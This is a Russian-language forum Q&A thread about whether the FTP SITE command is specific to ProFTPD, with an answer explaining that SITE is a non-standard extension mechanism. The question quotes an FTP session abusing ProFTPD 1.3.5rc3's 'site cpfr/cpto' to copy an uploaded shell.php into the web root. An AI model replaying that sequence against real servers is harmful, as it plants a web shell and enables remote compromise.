@nekolov

В ProFTPD присутствует команда site в других серверах ее я не видел, данная команда реализована только в ProFtpD?

В ProFTPD присутствует команда site в других серверах ее я не видел, данная команда реализована только в ProFtp?

Вопрос возник при прочтении статьи про довольно старую уязвимость в ProFTPD 1.3.5rc3 позволяющую:

ftp> lcd Desktop
Local directory now /root/Desktop
ftp> put shell.php
local: shell.php remote: shell.php
200 PORT command successful
150 Opening BINARY mode data connection for shell.php
226 Transfer complete
5496 bytes sent in 0.02 secs (236.4817 kB/s)
ftp> site cpfr shell.php
350 File or directory exists, ready for destination name
ftp> site cpto /var/www/html/shell.php
250 Copy successful
  • Вопрос задан
  • 177 просмотров
Решения вопроса 1
Сама по себе SITE является частью протокола FTP, но команды, доступные через нее стандартом не определены.

Исторически, протокол FTP это расширение протокола telnet (доступа к шелу) для передачи файлов. Команда SITE дает возможность выполнить на удаленном сайте какую-то команду, которая не является частью спецификации FTP, поэтому то, что вызывается через SITE по определению является нестандартным. Раньше это обычно реализовывалось путем размещения бинарников в какой-нибудь специальной папке, типа /var/ftp/bin (т.е SITE cpfr запускал /var/ftp/bin/cpfr), и таким образом можно было дать доступ через FTP к каким-то определенным командам или скриптам, сейчас таким образом обычно реализуются нестандартные расширения.
Ответ написан
Комментировать
Пригласить эксперта
Ответы на вопрос 1
Комментировать
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы